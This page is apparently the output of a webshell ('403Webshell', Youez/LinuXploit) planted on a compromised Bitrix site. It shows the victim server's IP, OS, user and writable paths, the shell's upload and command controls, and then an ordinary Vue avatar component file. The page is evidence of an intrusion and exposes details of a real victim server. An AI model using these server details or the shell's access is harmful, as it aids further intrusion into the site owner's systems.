403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/eventviewform/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/eventviewform/src/user-avatar.js
import { AvatarRoundGuest } from 'ui.avatar';

export const UserAvatar = {
	name: 'UserAvatar',
	props: {
		avatarSize: Number,
		user: {
			COLLAB_USER: Boolean,
			SHARING_USER: Boolean,
			EMAIL_USER: Boolean,
			AVATAR: String | null,
			DISPLAY_NAME: String,
		},
	},
	methods: {
		renderAvatar(): void
		{
			new AvatarRoundGuest(
				{
					size: this.avatarSize,
					userName: this.user.DISPLAY_NAME,
					userpicPath: this.getAvatar(),
					baseColor: '#19cc45',
				},
			).renderTo(this.$refs.collabAvatar);
		},

		getAvatar(): string | null
		{
			if (this.user.AVATAR && this.user.AVATAR !== '/bitrix/images/1.gif')
			{
				return this.user.AVATAR;
			}

			return null;
		},
	},
	mounted(): void
	{
		if (this.user.COLLAB_USER)
		{
			this.renderAvatar();
		}
	},
	// language=Vue
	template: `
		<div class="calendar-slider-sidebar-user-block-item">
			<div ref="collabAvatar" v-if="user.COLLAB_USER" :style="'width:' + avatarSize + 'px'"></div>
			<div class="ui-icon ui-icon-common-user ui-icon-common-user-sharing" :style="'width:' + avatarSize + 'px'"
				 v-else-if="user.SHARING_USER">
				<i></i>
			</div>
			<div class="ui-icon ui-icon-common-user-mail" :style="'width:' + avatarSize + 'px'"
				 v-else-if="user.EMAIL_USER">
				<i></i>
			</div>
			<span v-else>
				<img :src="encodeURI(user.AVATAR)" :width="avatarSize" :height="avatarSize" v-if="user.AVATAR && user.AVATAR !== '/bitrix/images/1.gif'"/>
				<div class="ui-icon ui-icon-common-user" :style="'width:' + avatarSize + 'px'" v-else>
					<i></i>
				</div>
			</span>
		</div>
	`,
};

Youez - 2016 - github.com/yon3zu
LinuXploit